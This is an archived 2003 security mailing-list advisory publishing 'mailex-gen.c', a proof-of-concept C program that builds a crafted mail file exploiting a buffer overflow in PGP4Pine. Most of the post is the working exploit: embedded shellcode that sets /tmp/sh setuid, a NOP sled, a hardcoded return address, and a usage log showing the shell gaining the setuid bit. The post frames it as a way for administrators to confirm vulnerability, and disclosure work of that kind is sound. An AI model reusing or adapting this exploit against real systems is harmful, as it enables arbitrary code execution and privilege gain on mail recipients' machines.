[EXPL] PGP4Pine Exploit Mail Generator

From: support@securiteam.com
Date: 03/16/03

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To: list@securiteam.com
Date: 16 Mar 2003 22:05:31 +0200

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      PGP4Pine Exploit Mail Generator
    ------------------------------------------------------------------------

    SUMMARY

    As we reported in our previous article:
    <http://www.securiteam.com/unixfocus/5QP0I1P9FC.html> PGP4Pine Buffer
    Overflow Vulnerability, we reported that PGP4Pine contains a buffer
    overflow that allows a specially crafted email the ability to execute
    arbitrary code on the recipient box when the mail is opened. The following
    exploit will allow administrators to confirm whether they are vulnerable
    or not.

    DETAILS

    Exploit:
    /*
     * mailex-gen.c -- PGP4Pine exploit mail generator - proof of concept
     * Copyright (C) 2003 - Eric AUGE
     *
     * This program is free software; you can redistribute it and/or
     * modify it under the terms of the GNU General Public License
     * as published by the Free Software Foundation; either version 2 of
     * the License or (at your option) any later version.
     *
     * This program is distributed in the hope that it will be
     * useful, but WITHOUT ANY WARRANTY; without even the implied
     * warranty
     * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
     * GNU General Public License for more details.
     *
     * You should have received a copy of the GNU General Public
     * License
     * along with this program; if not, write to the Free Software
     * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
     * 02111-1307
     * USA
     *
     * how poc code works :
     * $ cp /bin/sh /tmp/sh
     * $ ls -l /tmp/sh
     * -rwxr-x--- 1 rival users 680304 Mar 12 15:17 /tmp/sh
     * $ ./mailex-gen
     * eip (i use readline[] addr): 0xbfffdbd0
     * now type: /path/to/pgp4pine-vuln -d -i ./mailme
     * $ /path/to/pgp4pine-vuln -d -i ./mailme
     * $ ls -l /tmp/sh
     * -rwsr-xr-x 1 rival users 680304 Mar 12 15:17 /tmp/sh
     *
     *
     * Eric AUGE <eauge@fr.cw.net>
     *
     */

    /*
     * NOTE: EIP is hardcoded regarding my own system and tests,
     * tune it for your needs ;)
     */

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>

    #define MAXLINESIZE 301
    #define SAVED_EIP 0xbfffdbd0
    #define NOP 0x90
    #define ALIGN 0
    #define XFILE "mailme"

    /* quick made chown 4755 /tmp/sh */
    unsigned char shellcode[] =
    "\xeb\x14\x31\xc0\x34\x0f\x5b\x31\xc9\x66\xb9\xed\x09\xcd\x80"
    "\x31\xc0\x40\x89\xc3\xcd\x80\xe8\xe7\xff\xff\xff/tmp/sh";

    int main(int argc, char **argv) {

        int i,_sc_size,fd;
        unsigned char buffer[MAXLINESIZE] = "\0";
        long *ptr;
        char *cptr;

        _sc_size = sizeof(shellcode);

        ptr = (long *) &buffer;
        fprintf(stderr,"eip (i use readline[] addr): %p\n", SAVED_EIP);
        for (i = 0; i < MAXLINESIZE ; i += 4) {
      *ptr++ = SAVED_EIP;
        }

        cptr = (char *) &buffer;
        cptr = cptr + MAXLINESIZE - 45 - _sc_size;

        for ( i = 0; i < _sc_size ; i++ )
      *cptr++ = shellcode[i];

        for ( cptr = (char *) &buffer ; cptr < ((char *)buffer + MAXLINESIZE -
    45 - _sc_size) ; cptr++)
      *cptr = NOP;

        /* now lets create the file */
        if ( (fd = open(XFILE, O_CREAT|O_WRONLY|O_TRUNC,
    S_IRWXU|S_IRGRP|S_IROTH)) == -1) {
      fprintf (stderr,"open() failed!\n");
      exit(1);
        }
        write(fd,&buffer,sizeof(buffer));
        close(fd);
        fprintf(stderr,"now type: /path/to/pgp4pine-vuln -d -i ./mailme\n");
      
        return (0);
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:eauge@fr.cw.net> Eric AUGE.

    ========================================

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